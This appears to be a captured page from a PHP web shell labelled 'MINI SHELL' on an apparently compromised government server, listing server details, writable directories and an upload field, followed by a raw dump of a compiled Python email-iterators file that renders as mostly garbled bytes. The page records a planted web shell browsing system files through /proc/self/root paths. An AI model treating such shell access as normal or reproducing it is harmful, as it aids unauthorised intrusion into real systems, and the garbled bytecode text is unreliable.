MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/lib/python2.4/email/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/lib/python2.4/email/Iterators.pyc
mò
Ð=Ec@sVdZdkZdklZd„Zed„Zddd„Zdded„Z	dS(	s1Various types of useful iterators and generators.N(sStringIOccsK|V|iƒo6x3|iƒD]!}x|iƒD]
}|Vq1WqWndS(s‰Walk over the message tree, yielding each subpart.

    The walk is performed in depth-first order.  This method is a
    generator.
    N(tselftis_multiparttget_payloadtsubparttwalkt
subsubpart(RRR((t%/usr/lib/python2.4/email/Iterators.pyR
s


ccs\xU|iƒD]G}|id|ƒ}t|tƒoxt|ƒD]
}|VqBWq
q
WdS(sŽIterate over the parts, returning string payloads line-by-line.

    Optional decode (default False) is passed through to .get_payload().
    tdecodeN(
tmsgRRRRtpayloadt
isinstancet
basestringtStringIOtline(RRRR
R	((Rtbody_line_iterators

ttextccsZxS|iƒD]E}|iƒ|jo,|djp|iƒ|jo|VqRq
q
WdS(søIterate over the subparts with a given MIME type.

    Use `maintype' as the main MIME type to match against; this defaults to
    "text".  Optional `subtype' is the MIME subtype to match against; if
    omitted, only the main type is matched.
    N(RRRtget_content_maintypetmaintypetsubtypetNonetget_content_subtype(RRRR((Rttyped_subpart_iterator)s
 ic	Cs¢|djo
ti}nd|d}|||iƒI|o|d|i	ƒIJn|J|i
ƒo2x/|iƒD]}t
|||d|ƒqyWndS(sA handy debugging aidt is[%s]iN(tfpRtsyststdouttlevelttabRtget_content_typetinclude_defaulttget_default_typeRRRt
_structure(RRRRRR((RR7s



(
t__doc__Rt	cStringIORRtFalseRRRR(RRRRRR((Rt?s	
	

Anon7 - 2021